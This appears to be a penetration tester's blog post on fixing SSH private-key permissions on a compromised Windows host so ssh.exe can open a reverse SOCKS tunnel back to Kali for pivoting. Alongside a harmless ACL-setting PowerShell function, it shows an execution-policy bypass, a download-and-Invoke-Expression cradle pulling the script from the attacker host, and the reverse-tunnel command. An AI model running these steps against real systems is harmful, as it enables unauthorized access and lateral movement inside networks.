Setting SSH Private Key ACLs in PowerShell

The Problem

There have been times when I've gotten a reverse shell on a Windows target and wanted to use the ssh.exe binary on the host to create a reverse SOCKS proxy back to Kali in order to pivot into the network.

I'd run something like this:

ssh -i <private-key-file> -fNTR <port number> user@kali-ip-address

Only to receive this annoying error message:

Bad permissions. Try removing permissions for user: ADDC1\\Domain Users (S-1-5-21-2239830804-1892431063-1869081798-513) on file C:/xampp/htdocs/dvwa/vulnerabilities/exec/test.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions for 'test' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "test": bad permissions

So, the permissions on the SSH private key file are too open. Normally on a Linux host, you'd just run chmod 600 <keyfile> and call it a day. Not so straightforward on Windows.

If I run icacls <private key file> in the remote shell, I see that the private key file has inherited a whole bunch of permissions that SSH does not like – and there is no bypass to the permissions check in the SSH binary.

icacls test
test ADDC1\Domain Users:(I)(RX)
     BUILTIN\Administrators:(I)(F)
     NT AUTHORITY\SYSTEM:(I)(F)
     BUILTIN\Users:(I)(RX)
     NT AUTHORITY\Authenticated Users:(I)(M)

Successfully processed 1 files; Failed processing 0 files





The Solution

PSToolbox/Set-SSHPrivateKeyAcl.ps1 at master · 0xBEN/PSToolbox
PowerShell module containing a set of generally useful tools. - PSToolbox/Set-SSHPrivateKeyAcl.ps1 at master · 0xBEN/PSToolbox
function Set-SSHPrivateKeyAcl {

    [CmdletBinding()]
    [Alias('setprivkeyacl')]
    Param (
        [Parameter(
            Mandatory = $true, 
            ValueFromPipeline = $true
        )]
        [ValidateScript({
            if (-not (Test-Path $_)) { throw "Invalid Path: $_"}
            else { return $true }
        })]
        [String[]]
        $KeyFilePath
    )

    process {

        foreach ($file in $KeyFilePath) {

            $acl = Get-Acl $file

            $identity = whoami
            $rights = 'FullControl'
            $type = 'Allow'

            # Create an access rule with the current user getting full access
            $accessRule = New-Object -TypeName System.Security.AccessControl.FileSystemAccessRule -ArgumentList $identity, $rights, $type
            # Add the rule to the object
            $acl.SetAccessRule($accessRule)
            # Apply the changes
            Set-Acl $file $acl

            $acl = Get-Acl $file            
            # Protect the file from inheritance
            $isProtected = $true
            # Remove existing inherited rules
            $preserveInheritance = $false
            # Strip inheritance
            $acl.SetAccessRuleProtection($isProtected, $preserveInheritance)
            # Apply changes
            Set-Acl $file $acl

            $acl = Get-Acl $file
            # Remove any remaining access rules
            $acl.Access | 
            Where-Object {$_.IdentityReference -ne $(whoami)} |
            ForEach-Object { $acl.RemoveAccessRule($_)}
            # Apply changes 
            Set-Acl $file $acl

        }

    }

}
  • I start up a Python web server on Kali where the script file is stored
  • From the reverse shell, I start a PowerShell instance: powershell -nop -ep bypass
  • I create a web client to download the script string and load it into memory:
$wc = New-Object Net.WebClient
$wc.DownloadString('http://kali-ip-address/Set-SSHPrivateKeyAcl.ps1') | Invoke-Expression
  • The function is now loaded into memory
  • I execute it on the SSH key file: Set-SSHPrivateKeyAcl -KeyFile C:\Path\To\Key\File
Set-SSHPrivateKeyAcl -KeyFile .\test

icacls test

test ADDC1\web.user:(F)

Successfully processed 1 files; Failed processing 0 files

Perfect, now my reverse shell user is the only one with access to the key file.